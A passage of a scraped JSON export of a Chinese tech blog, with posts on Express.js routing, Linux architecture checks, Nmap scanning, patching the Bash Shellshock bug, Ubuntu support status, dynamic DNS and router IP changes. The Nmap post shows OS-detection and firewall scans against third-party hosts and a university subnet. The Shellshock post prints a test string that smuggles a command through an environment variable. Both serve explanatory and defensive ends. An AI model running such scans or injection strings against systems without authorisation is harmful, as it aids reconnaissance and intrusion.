參數傳入時，就會先執行這裡新增的 middleware，經過驗證確定沒問題之後，再將傳入的名稱儲存至 req 中，透過這樣的方式將驗證過的資料傳遞給 .get 路由，所以在 .get 路由中，我們也將原本的 req.params.name 改為 req.name。\n現在當我們開啟 http://localhost:8080/hello/seal 的時候，終端機中就會出現驗證的訊息：\n登入路由 除了使用 express.Router() 的方式來建立路由之外，我們也可以使用 app.route 直接在應用程式上新增路由，這種方式是 Router 的簡略寫法，語法看起來就跟傳統上的 app.get 很類似。\n使用 app.route 有個好處是可以讓我們一次針對一個路由新增好幾個動作，例如我們想要使用 GET 顯示登入表單，並且使用 POST 處理表單：\n// ... (略) // ---- ROUTES ---- app.route(\u0026#39;/login\u0026#39;) // 顯示登入表單 (GET http://localhost:8080/login) .get(function(req, res) { res.send(\u0026#39;this is the login form\u0026#39;); }) // 處理登入表單 (POST http://localhost:8080/login) .post(function(req, res) { console.log(\u0026#39;processing\u0026#39;); res.send(\u0026#39;processing the login form!\u0026#39;); }); // ... (略) 這樣一來程式就可以在 /login 這個路由上將 GET 與 POST 分開處理，而且這樣的寫法既方便又簡潔。\n","permalink":"https://blog.gtwang.org/programming/learn-to-use-the-new-router-in-expressjs-4/","summary":"\u003cp\u003eExpress.js 4.0 有加入一個新的 Router 功能，它就像一個迷你的應用程式，可以讓應用程式內部的路由撰寫更方便、更有彈性。\u003c/p\u003e\n\u003cp\u003eExpress.js 在 4.0 版中有許多新的功能，其中一項主要的功能就是 Router，以下我們介紹如何使用 Router 功能來撰寫應用程式。\u003c/p\u003e","title":"Express.js 4.0 的路由（Router）功能用法教學"},{"content":"這裡介紹各種可以分辨 Linux 系統是 32 位元還是 64 位元的方法。\n許多軟體會提供 32 位元與 64 位元的 Linux 系統不同的安裝檔，如果是使用系統內建的套件管理工具，通常他都會自動處理這個問題，但是如果是自行下載安裝的軟體，就要自己判斷。\n以下是各種判斷 Linux 系統是 32 位元或是 64 位元的方法。\nuname 指令 最簡單的就是使用 uname 指令：\nuname -m 這個會直接輸出系統的類型：\nx86_64 如果是 32 位元的系統，就會顯示 i686 或 i386，而如果是 64 位元的系統就會顯示 x86_64。\n另外，如果想要更詳細的資訊，可以使用 -a 參數：\nuname -a 輸出為\nLinux steteo1 3.11.0-19-generic #33-Ubuntu SMP Tue Mar 11 18:48:34 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux arch 指令 arch 指令的作用跟 uname -m 差不多：\narch 輸出為\nx86_64 /sbin/init /sbin/init 這個系統檔案也可以用來判斷整個系統是 32 位元還是 64 位元：\nfile /sbin/init 輸出為\n/sbin/init: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x806c97a7ada3c91c9fb31a08fa129150821a9c2b, stripped 從 file 的輸出可以看出這個檔案是 64 位元的執行檔，代表整個系統也是 64 位元。\n圖形介面 如果在圖形介面的 Linux 桌面環境下，一般都可以從系統的基本資訊中看出系統的類型。\n參考資料 HTG ","permalink":"https://blog.gtwang.org/linux/how-to-check-linux-arch-32bits-64bits/","summary":"\u003cp\u003e這裡介紹各種可以分辨 Linux 系統是 32 位元還是 64 位元的方法。\u003c/p\u003e\n\u003cp\u003e許多軟體會提供 32 位元與 64 位元的 Linux 系統不同的安裝檔，如果是使用系統內建的套件管理工具，通常他都會自動處理這個問題，但是如果是自行下載安裝的軟體，就要自己判斷。\u003c/p\u003e","title":"如何檢查 Linux 作業系統是 32 位元還是 64 位元？"},{"content":"Quill 是一個以 JavaScript 開發的獨立 rich text 編輯器，可以在網頁中進行各種圖文排版，不需要依賴其他的 JavaScript 函式庫。\nTinyMCE 是一個很熱門的 rich text 編輯器，它有非常多的功能，許多 Word 常用的功能它都有，不過許多使用者都抱怨它的檔案大小太大了，會讓網頁載入的速度變慢。\n這裡介紹一個比較輕巧的 rich text 編輯器 Quill，它的界面簡單、而且也很直覺，而且是一個獨立開發的 JavaScript 工具，不需要安裝任何其它的 JavaScript 函式庫，非常輕巧。\n名稱：Quill\n網址：https://quilljs.com/\n在 Quill 的官方文件中有詳細的使用說明，而且還有附帶一些範例程式碼，說明文件很完整，使用上會需要知道的東西大概上面都可以找的到。\nQuill 在外觀上看起來很陽春，不過他的彈性很大，有許多的功能都可以自己調整，而且也有許多 API 函數可以呼叫。\n工具列上面的各種功能（如粗體、斜體、顏色、插入圖檔、超連結等），都可以自行設定是否要顯示或是隱藏。 如果要取得編輯器內的內容，Quill 有很豐富的 API 可以使用，包含取得資料、選取文字等等。 可以自定 text-change 與 selection-change 兩個事件（event）的 listener，自定處理函數。 支援多人同時編輯，可以標示出每個人編輯的游標與內容。 支援 responsive layout。 支援各種瀏覽器，如 Chrome、Firefox、Safari 與 IE9+。 ","permalink":"https://blog.gtwang.org/web-development/quill-rich-text-editor/","summary":"\u003cp\u003eQuill 是一個以 JavaScript 開發的獨立 rich text 編輯器，可以在網頁中進行各種圖文排版，不需要依賴其他的 JavaScript 函式庫。\u003c/p\u003e\n\u003cp\u003eTinyMCE 是一個很熱門的 rich text 編輯器，它有非常多的功能，許多 Word 常用的功能它都有，不過許多使用者都抱怨它的檔案大小太大了，會讓網頁載入的速度變慢。\u003c/p\u003e","title":"Quill：輕巧的 Rich Text 編輯器，在網頁中進行各種圖文排版"},{"content":"Nmap 是一個開放原始碼的網路掃描與探測工具，可以讓網路管理者掃描整個子網域或主機的連接埠等，功能非常強大。\nNmap（Network Mapper）是一個開放原始碼的網路檢測工具，它的功能非常強大，這裡整理了許多使用範例，讓初學者可以快速上手。\n安裝 一般的 Linux 系統通常都會將 Nmap 納入官方的套件庫，如果是 Red Hat 系列的 Linux，可以使用 yum 安裝：\nsudo yum install nmap 而如果是 Debian 系列的 Linux 則可使用 apt：\nsudo apt-get install nmap 基本主機掃描 Nmap 最基本的用法就是掃描主機是否有開機，並且開啟哪些連接埠：\nnmap www.hinet.net 輸出為\nStarting Nmap 6.40 ( http://nmap.org ) at 2014-10-02 08:09 CST Nmap scan report for www.hinet.net (202.39.253.11) Host is up (0.0034s latency). rDNS record for 202.39.253.11: 202-39-253-11.HINET-IP.hinet.net Not shown: 998 filtered ports PORT STATE SERVICE 80/tcp open http 113/tcp closed ident Nmap done: 1 IP address (1 host up) scanned in 6.05 seconds 也可以直接使用 IP 位址來指定掃描的主機：\nnmap 202.39.253.11 如果加上 -v 參數，會有更詳細的輸出：\nnmap -v www.hinet.net 輸出為\nStarting Nmap 6.40 ( http://nmap.org ) at 2014-10-02 08:32 CST Initiating Ping Scan at 08:32 Scanning www.hinet.net (202.39.253.11) [2 ports] Completed Ping Scan at 08:32, 1.20s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 08:32 Completed Parallel DNS resolution of 1 host. at 08:32, 0.00s elapsed Initiating Connect Scan at 08:32 Scanning www.hinet.net (202.39.253.11) [1000 ports] Discovered open port 80/tcp on 202.39.253.11 Completed Connect Scan at 08:32, 4.81s elapsed (1000 total ports) Nmap scan report for www.hinet.net (202.39.253.11) Host is up (0.0044s latency). rDNS record for 202.39.253.11: 202-39-253-11.HINET-IP.hinet.net Not shown: 998 filtered ports PORT STATE SERVICE 80/tcp open http 113/tcp closed ident Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 6.13 seconds 掃描多台主機 如果要一次掃描多台主機，就直接把所有的主機名稱都放進 nmap 的參數中即可：\nnmap www.hinet.net tw.yahoo.com www.google.com.tw 輸出為\nStarting Nmap 6.40 ( http://nmap.org ) at 2014-10-02 08:36 CST Nmap scan report for www.hinet.net (202.39.253.11) Host is up (0.0038s latency). rDNS record for 202.39.253.11: 202-39-253-11.HINET-IP.hinet.net Not shown: 998 filtered ports PORT STATE SERVICE 80/tcp open http 113/tcp closed ident Nmap scan report for tw.yahoo.com (202.43.192.109) Host is up (0.0046s latency). rDNS record for 202.43.192.109: ir1.fp.vip.tw1.yahoo.com Not shown: 997 filtered ports PORT STATE SERVICE 80/tcp open http 113/tcp closed ident 443/tcp open https Nmap scan report for www.google.com.tw (74.125.31.94) Host is up (0.011s latency). rDNS record for 74.125.31.94: tb-in-f94.1e100.net Not shown: 997 filtered ports PORT STATE SERVICE 80/tcp open http 113/tcp closed ident 443/tcp open https Nmap done: 3 IP addresses (3 hosts up) scanned in 9.97 seconds 您也可以直接使用萬用字元，一次掃描整個子網域：\nnmap 192.168.0.* 或是\nnmap 192.168.0.0/24 如果您想要掃描 192.168.0.123、192.168.0.124、192.168.0.125 這三台主機，可以寫成這樣：\nnmap 192.168.0.123,124,125 如果要掃描子網域中連續的某一段，可以這樣寫：\nnmap 192.168.0.123-140 以檔案列表指定主機 nmap 也可以直接從檔案讀取要掃描的主機，假設我們有一個主機列表檔案 hostlist.txt，其內容為：\nwww.hinet.net 192.168.0.123 www.google.com.tw 然後我們就可以使用 nmap 直接讀取這個檔案內容來進行掃描：\nnmap -iL hostlist.txt 排除指定的主機 如果要掃描整個網域，但是要排除某些機器，可以使用 --exclude 參數：\nnmap 192.168.0.* --exclude 192.168.0.100 若以檔案方式指定主機，也可以使用 --excludefile 指定排除的列表：\nnmap -iL hostlist.txt --excludefile excludelist.txt 偵測作業系統版本 如果要偵測主機的作業系統與各種服務的版本，可以加上 -A 參數：\nnmap -A scanme.nmap.org 輸出為\nStarting Nmap 6.40 ( http://nmap.org ) at 2014-10-02 09:37 CST Nmap scan report for scanme.nmap.org (74.207.244.221) Host is up (0.14s latency). Not shown: 990 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.3p1 Debian 3ubuntu7.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: 1024 8d:60:f1:7c:ca:b7:3d:0a:d6:67:54:9d:69:d9:b9:dd (DSA) |_2048 79:f8:09:ac:d4:e2:32:42:10:49:d3:bd:20:82:85:ec (RSA) 53/tcp filtered domain 80/tcp open http Apache httpd 2.2.14 ((Ubuntu)) |_http-title: Go ahead and ScanMe! 139/tcp filtered netbios-ssn 445/tcp filtered microsoft-ds 6666/tcp filtered irc 6667/tcp filtered irc 6668/tcp filtered irc 6669/tcp filtered irc 9929/tcp open nping-echo Nping echo Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 58.98 seconds 如果只需要作業系統資訊，可以使用 -O 參數：\nnmap -O scanme.nmap.org 輸出為\nStarting Nmap 6.40 ( http://nmap.org ) at 2014-10-02 09:44 CST Nmap scan report for scanme.nmap.org (74.207.244.221) Host is up (0.14s latency). Not shown: 990 closed ports PORT STATE SERVICE 22/tcp open ssh 53/tcp filtered domain 80/tcp open http 139/tcp filtered netbios-ssn 445/tcp filtered microsoft-ds 6666/tcp filtered irc 6667/tcp filtered irc 6668/tcp filtered irc 6669/tcp filtered irc 9929/tcp open nping-echo Aggressive OS guesses: Linux 2.6.32 - 3.9 (98%), Linux 2.6.38 - 3.0 (97%), Linux 2.6.32 - 2.6.39 (97%), Netgear DG834G WAP or Western Digital WD TV media player (96%), Linux 2.6.32 - 3.2 (95%), Linux 3.0 - 3.9 (95%), Linux 3.2 (95%), Linux 2.6.32 - 3.6 (95%), Linux 3.1 (95%), AXIS 210A or 211 Network Camera (Linux 2.6) (94%) No exact OS matches for host (test conditions non-ideal). Network Distance: 12 hops OS detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 18.80 seconds 若只需要各種服務的版本：\nnmap -sV scanme.nmap.org 輸出為\nStarting Nmap 6.40 ( http://nmap.org ) at 2014-10-02 13:16 CST Nmap scan report for scanme.nmap.org (74.207.244.221) Host is up (0.14s latency). Not shown: 989 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.3p1 Debian 3ubuntu7.1 (Ubuntu Linux; protocol 2.0) 53/tcp filtered domain 80/tcp open http Apache httpd 2.2.14 ((Ubuntu)) 139/tcp filtered netbios-ssn 445/tcp filtered microsoft-ds 1105/tcp filtered ftranhc 6666/tcp filtered irc 6667/tcp filtered irc 6668/tcp filtered irc 6669/tcp filtered irc 9929/tcp open nping-echo Nping echo Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 48.03 seconds 測試主機是否有防火牆 Nmap 可以透過 TCP ACK 掃描，偵測主機是否有啟用防火牆：\nnmap -sA scanme.nmap.org 輸出為\nStarting Nmap 6.40 ( http://nmap.org ) at 2014-10-02 10:17 CST Nmap scan report for scanme.nmap.org (74.207.244.221) Host is up (0.14s latency). All 1000 scanned ports on scanme.nmap.org (74.207.244.221) are unfiltered Nmap done: 1 IP address (1 host up) scanned in 2.22 seconds 掃描有防火牆的主機 掃描在防火牆保護下的主機：\nnmap -PN scanme.nmap.org 輸出為\nStarting Nmap 6.40 ( http://nmap.org ) at 2014-10-02 10:24 CST Nmap scan report for scanme.nmap.org (74.207.244.221) Host is up (0.14s latency). Not shown: 990 closed ports PORT STATE SERVICE 22/tcp open ssh 53/tcp filtered domain 80/tcp open http 139/tcp filtered netbios-ssn 445/tcp filtered microsoft-ds 6666/tcp filtered irc 6667/tcp filtered irc 6668/tcp filtered irc 6669/tcp filtered irc 9929/tcp open nping-echo Nmap done: 1 IP address (1 host up) scanned in 16.99 seconds 偵測有開機的主機 掃描整個網路，偵測所有有開機的主機（ping scan）：\nnmap -sP 140.115.35.0/24 輸出為\nStarting Nmap 6.40 ( http://nmap.org ) at 2014-10-02 11:06 CST Nmap scan report for mail.atm.ncu.edu.tw (140.115.35.1) Host is up (0.0018s latency). Nmap scan report for rain.atm.ncu.edu.tw (140.115.35.4) Host is up (0.0015s latency). Nmap scan report for iut.atm.ncu.edu.tw (140.115.35.5) Host is up (0.0017s latency). [略] Nmap scan report for 140.115.35.254 Host is up (0.0047s latency). Nmap done: 256 IP addresses (117 hosts up) scanned in 3.00 seconds 快速掃描 加快掃描的速度：\nnmap -F www.hinet.net 輸出為\nStarting Nmap 6.40 ( http://nmap.org ) at 2014-10-02 10:55 CST Nmap scan report for www.hinet.net (202.39.253.11) Host is up (0.0034s latency). rDNS record for 202.39.253.11: 202-39-253-11.HINET-IP.hinet.net Not shown: 98 filtered ports PORT STATE SERVICE 80/tcp open http 113/tcp closed ident Nmap done: 1 IP address (1 host up) scanned in 2.19 seconds 另一種方式：\nnmap -T5 192.168.1.0/24 指定掃描的連接埠 掃描連接埠 80：\nnmap -p 80 192.168.1.1 指定 TCP 連接埠 80：\nnmap -p T:80 192.168.1.1 指定 UDP 連接埠 53：\nnmap -p U:53 192.168.1.1 掃描兩個連接埠：\nnmap -p 80,443 192.168.1.1 指定連接埠範圍：\nnmap -p 80-200 192.168.1.1 結合各種參數：\nnmap -p U:53,111,137,T:21-25,80,139,8080 192.168.1.1 nmap -p U:53,111,137,T:21-25,80,139,8080 server1.cyberciti.biz nmap -v -sU -sT -p U:53,111,137,T:21-25,80,139,8080 192.168.1.254 掃描前 10 個常用的連接埠：\nnmap --top-ports 10 192.168.1.1 查詢主機名稱 只查詢網域中所有的主機名稱，不做任何主機與連接埠的偵測：\nnmap -sL 192.168.1.0/24 參考資料 nixCraft Linuxaria Tecmint Linuxaria ","permalink":"https://blog.gtwang.org/linux/nmap-command-examples-tutorials/","summary":"\u003cp\u003eNmap 是一個開放原始碼的網路掃描與探測工具，可以讓網路管理者掃描整個子網域或主機的連接埠等，功能非常強大。\u003c/p\u003e\n\u003cp\u003eNmap（Network Mapper）是一個開放原始碼的網路檢測工具，它的功能非常強大，這裡整理了許多使用範例，讓初學者可以快速上手。\u003c/p\u003e","title":"Nmap 網路診斷工具基本使用技巧與教學"},{"content":"Apple 官方已經釋出了 Bash 漏洞 CVE-2014-6271 的修補程式，請儘速更新您的 Mac OS X 系統。\n蘋果官方針對這次的 Bash 漏洞，提供了一個適用於 Mac OS X Lion、Mountain Lion 與 Mavericks 修補程式，不過這次的更新程式不是透過 App Store，而是要自行下載。\n請依據您的 Mac OS X 版本來選擇更新程式：\n名稱：OS X bash Update 1.0\nMavericks：https://support.apple.com/zh-tw/106640\nMountain Lion：https://support.apple.com/zh-tw/106477\nLion：https://support.apple.com/zh-tw/106637\n以下是安裝步驟。\nStep 1\n掛載下載下來的 DMG 檔，執行裡面的安裝檔。\nStep 2\n按下「繼續」。\nStep 3\n按下「繼續」。\nStep 4\n按下「繼續」。\nStep 5\n按下「同意」。\nStep 6\n按下「安裝」。\nStep 7\n輸入密碼，按下「安裝軟體」。\nStep 8\n按下「關閉」。\n這樣就更新完成了。\n","permalink":"https://blog.gtwang.org/mac-os/apple-mac-os-x-bash-cve-2014-6271/","summary":"\u003cp\u003eApple 官方已經釋出了 Bash 漏洞 CVE-2014-6271 的修補程式，請儘速更新您的 Mac OS X 系統。\u003c/p\u003e\n\u003cp\u003e蘋果官方針對這次的 Bash 漏洞，提供了一個適用於 Mac OS X Lion、Mountain Lion 與 Mavericks 修補程式，不過這次的更新程式不是透過 App Store，而是要自行下載。\u003c/p\u003e","title":"Apple 官方釋出 Mac OS X 的 Bash CVE-2014-6271 漏洞修補更新程式"},{"content":"最新版的 Google Chrome 新增了一個隱藏的小遊戲，而這個遊戲只有在離線的狀態下才會出現。\nGoogle 在 Chrome Canary 這個開發人員測試版中加入了一個有趣的小遊戲，這個遊戲只有在網路斷線的狀況下才會出現，不知道是不是要讓我們在沒有網路時可以打發時間。\n傳統的 Chrome 瀏覽器如果遇到網路不通時，就會出現一隻恐龍的畫面，而這隻恐龍所代表的涵義就是：如果沒有網路的話，你好像就回到恐龍時代一樣。\n而最新的 Chrome Canary 將畫面改為這樣，看似沒有什麼不同，不過內有玄機。\n當您按下空白鍵之後，地平線會展開，這隻恐龍就會向前跑，您可以控制它越過途中的障礙物。\n這個遊戲目前剛剛被加入至 Chrome Canary，正常版的 Chrome 目前還沒有，您如果有興趣可以下載 Chrome Canary 來玩玩看。\n","permalink":"https://blog.gtwang.org/funny/googles-latest-chrome-build-hidden-game-can-play-offline/","summary":"\u003cp\u003e最新版的 Google Chrome 新增了一個隱藏的小遊戲，而這個遊戲只有在離線的狀態下才會出現。\u003c/p\u003e\n\u003cp\u003eGoogle 在 \u003ca href=\"https://www.google.com/intl/zh-TW/chrome/canary/\"\u003eChrome Canary\u003c/a\u003e 這個開發人員測試版中加入了一個有趣的小遊戲，這個遊戲只有在網路斷線的狀況下才會出現，不知道是不是要讓我們在沒有網路時可以打發時間。\u003c/p\u003e","title":"Google Chrome 隱藏版小遊戲，網路斷線時才會出現"},{"content":"這裡紀錄我如何從 WordPress 中匯入 Blogger 部落格上面的文章，更換部落格平台的過程。\n如果您是使用 Blogger 寫文章的部落客，想要嘗試更換部落格平台的話，WordPress 是一個不錯的選擇，其使用者族群廣大，支援的套件也很多，以下是我個人嘗試自己架設 WordPress 部落格，將 Blogger 搬家至 WordPress 的過程。\nStep 1\n首先當然是找一個支援 PHP 與 MySQL 的網頁空間，把 WordPress 安裝起來，這部分在 WordPress 的官方網站有很詳細的解說，這裡就不贅述。\nStep 2\n這裡我安裝的是 WordPress 4.0 版，安裝好 WordPress 之後，在「工具」中選擇「匯入」，然後選擇「Blogger」。\nStep 3\n接著安裝「Blogger Importer」這個外掛。\nStep 4\n裝好「Blogger Importer」之後，點選「啟用外掛與執行匯入程式」。\nStep 5\n在匯入資料前，必須先進行使用者認證，取得 Blogger 帳號的權限，這裡點選「Authorize」。\nStep 6\n點選「允許存取」。\nStep 7\n接著在部落格列表中選擇要匯入的部落格，然後點選右方的「Import」就會開始匯入。\n基本上的操作流程就是這樣，不過我個人在操作時，發現文章匯入的過程不是很順利，常常匯入到一半就會停住，要不斷讓它暫停之後再繼續匯入才能搬完所有的文章。\n文章匯入之後，會接續匯入留言與圖片，而留言匯到一半就不動了，圖片則是只匯了三百多張，後來不管怎麼試都無效，現在還在找解決方案。\n後記 後來在網路上搜尋之後，在 WordPress 的官方論壇上發現一篇討論 Blogger 匯入圖片的文章，裡面提到兩個外掛：\nRemote Images Grabber Blogger Image Import 看起來官方的外掛式參考這兩個來寫的，所以如果官方的不行，就用 Blogger Image Import 來試試看。Blogger Image Import 安裝好之後，會出現在「工具」的選單中。\n它可以直接掃描 WordPress 上所有的文章，將所有指定網址的圖片全部抓到自己的主機空間中存放，而執行時因為通常 PHP 不能一次執行太久的時間，所以要設定一個匯入圖片數目的上限，然後分批匯入，如果過去已經匯入的圖片會自動跳過，經過幾次的匯入動作之後，就可以將所有在 Blogger 空間的圖片都搬過來了。\nBlogger Image Import 看起來雖然很好用，但是我發現有些文章的圖在經過處理之後，會直接被拿掉，看來這個工具還是有些 bugs，不太能用的樣子。\n","permalink":"https://blog.gtwang.org/wordpress/wordpress-blogger-import-posts/","summary":"\u003cp\u003e這裡紀錄我如何從 WordPress 中匯入 Blogger 部落格上面的文章，更換部落格平台的過程。\u003c/p\u003e\n\u003cp\u003e如果您是使用 Blogger 寫文章的部落客，想要嘗試更換部落格平台的話，WordPress 是一個不錯的選擇，其使用者族群廣大，支援的套件也很多，以下是我個人嘗試自己架設 WordPress 部落格，將 Blogger 搬家至 WordPress 的過程。\u003c/p\u003e","title":"從 WordPress 匯入 Blogger 的文章，部落格搬家過程紀錄"},{"content":"這兩天 Bash Shell 被發現有一個嚴重的漏洞，可以讓一般使用者輕易取得管理者權限，這會讓大部份的 Linux 與 Mac OS X 系統都有被入侵的高風險。\n在今年 4 月初爆發的 HeartBleed Bug 在當時造成了很大的風波，不過現在 Bash Shell 又出了一個更嚴重的大漏洞，這個漏洞可以讓一般使用者在 Bash 指令設定環境變數時，可以越過權限檢查，直接執行夾帶的命令，駭客可以利用這樣的方式輕易取得主機的管理者（root）權限，非常危險。\n由於目前幾乎所有的 Linux 與 Mac OS X 都是使用 Bash 作為預設的 Shell，所以這項漏洞所影響的範圍會非常大，基本上可以說所有的 Linux 與 Mac OS X 都會有影響，如果您有任何 Linux 或是 Mac OS X 的主機，請立即進行修補。\nLinux 修補方式 如果是 Debian/Ubuntu/Mint Linux，則執行：\nsudo apt-get update sudo apt-get upgrade 如果是 RHEL/CentOS/Fedora，則執行：\nsudo yum check-update sudo yum update Mac OS X Apple 官方已經釋出新的修補程式，請參考這裡。\n檢測方式 在終端機的 Bash Shell 中，執行：\nx=\u0026#39;() { :;}; echo vulnerable\u0026#39; bash -c \u0026#34;echo this is a test\u0026#34; 如果有漏洞存在，就會出現：\nvulnerable this is a test 而如果漏洞已經修補完成，則會出現：\nbash: warning: x: ignoring function definition attempt bash: 錯誤，輸入的函數定義為 `x'; this is a test 參考資料 YouTube exploit-db.com seclists.org reddit Red Hat NVD ","permalink":"https://blog.gtwang.org/linux/cve-20146271-remote-code-execution-through-bash/","summary":"\u003cp\u003e這兩天 Bash Shell 被發現有一個嚴重的漏洞，可以讓一般使用者輕易取得管理者權限，這會讓大部份的 Linux 與 Mac OS X 系統都有被入侵的高風險。\u003c/p\u003e\n\u003cp\u003e在今年 4 月初爆發的 HeartBleed Bug 在當時造成了很大的風波，不過現在 Bash Shell 又出了一個更嚴重的大漏洞，這個漏洞可以讓一般使用者在 Bash 指令設定環境變數時，可以越過權限檢查，直接執行夾帶的命令，駭客可以利用這樣的方式輕易取得主機的管理者（root）權限，非常危險。\u003c/p\u003e","title":"Bash 嚴重漏洞 CVE-2014-6271 的修補方式"},{"content":"這裡教大家如何檢查自己的 Ubuntu Linux 系統是否還在官方的維護期之內，如果使用官方已經停止維護的舊版本，就很容易會有安全性的問題。\nUbuntu 是一個很熱門的 Linux 發行版，大約每半年就會釋出一個新版本，而當舊的版本到達其維護期限之時候，就會停止更新，而不同版本的 Ubuntu 其維護期限也不同。\n在 Ubuntu 的官方網頁可以查詢每一個版本的維護期限有多長：\n從這張圖您就可以看出來每一個 Ubuntu 版本的維護期限，紅色的版本代表 long term support（LTS），也就是說它的維護期特別長，不用常常進行系統升級，這種版本通常適用於伺服器。\n另外在 Ubuntu project documentation 網頁上也有列出目前還在維護期內的版本，這裡會列出比較精確的時間。\n如果要查詢目前舊系統的維護狀態，可以執行：\n# 查詢目前 Ubuntu Linux 系統的維護狀態 ubuntu-support-status 他會列出目前系統中套件的維護狀況：\nSupport status summary of \u0026#8216;my-server\u0026#8217;: You have 2156 packages (90.4%) supported until February 2015 (9m) You have 4 packages (0.2%) supported until May 2015 (9m) You have 7 packages (0.3%) that can not/no-longer be downloaded You have 219 packages (9.2%) that are unsupported Run with --show-unsupported, --show-supported or --show-all to see more details 以這個例子來說，已經有兩百多個套件已經停止維護了，您可以依據這些數據來考量是否要趕快升級系統。\n如果您的 Ubuntu 系統已經超過維護期限了，一般建議是升級到新的版本，升級的指令是：\n# 升級 Ubuntu Linux 系統 do-release-upgrade 如果超過維護期限又一直放著不升級，萬一遇到類似 Bash CVE-2014-6271 這類的重大漏洞，官方通常都會優先修補還在維護其內的版本，這樣就會造成沒有修補可用的窘境，像我有一台 Ubuntu 主機，其版本是 13.10，剛好超過維護期，遇到這個漏洞也只好趕快升級來修補。\n","permalink":"https://blog.gtwang.org/linux/ubuntu-linux-release-end-of-life/","summary":"\u003cp\u003e這裡教大家如何檢查自己的 Ubuntu Linux 系統是否還在官方的維護期之內，如果使用官方已經停止維護的舊版本，就很容易會有安全性的問題。\u003c/p\u003e\n\u003cp\u003eUbuntu 是一個很熱門的 Linux 發行版，大約每半年就會釋出一個新版本，而當舊的版本到達其維護期限之時候，就會停止更新，而不同版本的 Ubuntu 其維護期限也不同。\u003c/p\u003e","title":"檢查自己的 Ubuntu Linux 系統是否還在官方維護期之內"},{"content":"這裡介紹如何申請 No-IP 的動態 DNS 服務，透過 TP-LINK 路由器所提供的自動更新動態 DNS 功能，輕鬆使用浮動 IP 架站。\n非固定制的 ADSL 網路環境中，如果想要自行架設網站或是 FTP 站，但又只有浮動的 IP 位址，只要 IP 一改變，使用者就連不上伺服器了，該怎麼辦呢？如果遇到這個問題，可以申請 No-IP 這類的動態 DNS 服務來解決。\n名稱：No-IP\n網址：https://www.noip.com/\nNo-IP 的原理很簡單，就是在每次 IP 更動時，都即時更新 DNS 伺服器上的記錄，這樣使用者只要透過最新的 DNS 記錄就可以連線到使用浮動 IP 的伺服器上，對於使用者而言，使用起來就跟一般固定制 IP 的伺服器一樣。\n以下是 No-IP 動態 DNS 服務的申請步驟，另外這裡使用 TP-LINK 的路由器為例，示範如何設定路由器讓 IP 變更時自動更新 DNS 記錄，保持網站可以持續營運，不會受到 IP 變更的影響而斷線。\nStep 1\n首先，連上 No-IP 的網站，註冊一個帳號。在註冊時要填的資料很簡單，其中 hostname 的部分可以隨便取，然後再選擇一個您想要的網址。\n填完之後按下下方的註冊按鈕。\nStep 2\n接著 No-IP 會根據您填寫的電子郵件位址寄發一封認證信，收到認證信之後，上面會有一行認證網址，開啟這行網址就可以完成認證。\nStep 3\n開啟 TP-LINK 路由器的網頁管理介面，找到動態 DNS（DDNS）設定頁面。「服務提供者」選擇 No-IP，接著輸入剛剛註冊時填的帳號密碼，而網域名稱就是剛剛註冊時取的那個，最後勾選「啟用 DDNS」，再按下「儲存」鈕，這樣就完成了。\n儲存之後，路由器會自動進行連線，並且更新 DNS，而連線狀態應該會顯示「連線成功」。\nStep 4\n最後開啟命令提示字元，用 ping 測試一下：\n這樣就大功告成了，現在不管路由器的 IP 位址怎麼換，使用者都可以透過這個網址來連線到我們的路由器，然後再透過路由器的虛擬伺服器設定，將路由器上特定的連接埠（port）導向至內部的主機上，這樣就可以讓我們的伺服器透過浮動 IP 架站了。\n","permalink":"https://blog.gtwang.org/web-development/no-ip-dynamic-dns/","summary":"\u003cp\u003e這裡介紹如何申請 No-IP 的動態 DNS 服務，透過 TP-LINK 路由器所提供的自動更新動態 DNS 功能，輕鬆使用浮動 IP 架站。\u003c/p\u003e\n\u003cp\u003e非固定制的 ADSL 網路環境中，如果想要自行架設網站或是 FTP 站，但又只有浮動的 IP 位址，只要 IP 一改變，使用者就連不上伺服器了，該怎麼辦呢？如果遇到這個問題，可以申請 No-IP 這類的動態 DNS 服務來解決。\u003c/p\u003e","title":"申請 No-IP 動態 DNS 服務，以浮動 IP 架站教學"},{"content":"本文以 TP-LINK 的 TL-WR741ND 路由器（router）為例，示範如何使用各種程式語言與工具遠端控制路由器的 ADSL 連線（斷線並重新連線），自動更換網路的 IP 位址。\n現在市面上大部分的路由器（或是 IP 分享器）都有網頁管理的介面，使用者可以透過網頁登入之後，管理路由器中的各種功能，而如果要更換 ADSL 的 IP 位址，最簡單的方式就是在網頁管理介面中，手動重新連線，由於非固定制的 ADSL 每次連線都會配發不同的 IP 位址，這樣自然就可以獲得一個新的 IP 位址了，這就是一般更換 IP 位址的原理。\n不過如果您需要時常更換 IP 位址，老是使用手動的方式也不是辦法，這時候就可以寫一個小程式，模擬手動斷線與重新連線的動作，達到自動更換 IP 位址的功能，以下是各種語言的實作方式。\n事前準備 在實際撰寫程式之前，我們要先研究一下路由器網頁管理介面的運作機制，不同廠牌的路由器可能有些差異，不過大致的運作原則都差不多。\n這裡以 Google Chrome 瀏覽器做示範，首先登入路由器的網頁管理介面，找到可以進行 ADSL 斷線與連線的頁面。\n然後按下 Ctrl + shift + i 鍵開啟「開發人員工具」，選擇「Network」籤頁，將舊的紀錄清除，並且確認記錄功能有開啟，這時候按下「中斷連線」的按鈕。\n當您按下中斷連線的按鈕時，在下方會顯示瀏覽器送出的所有請求（Request），我們要找出用來送出斷線指令的關鍵請求，這樣的請求通常在 Request URL 欄位中會有類似 Disconnect 這樣的關鍵字：\n以 TP-LINK 的路由器而言，關鍵的請求就是這個：\nhttp://192.168.0.1/userRpm/StatusRpm.htm?Disconnect=Disconnect\u0026amp;wan=1 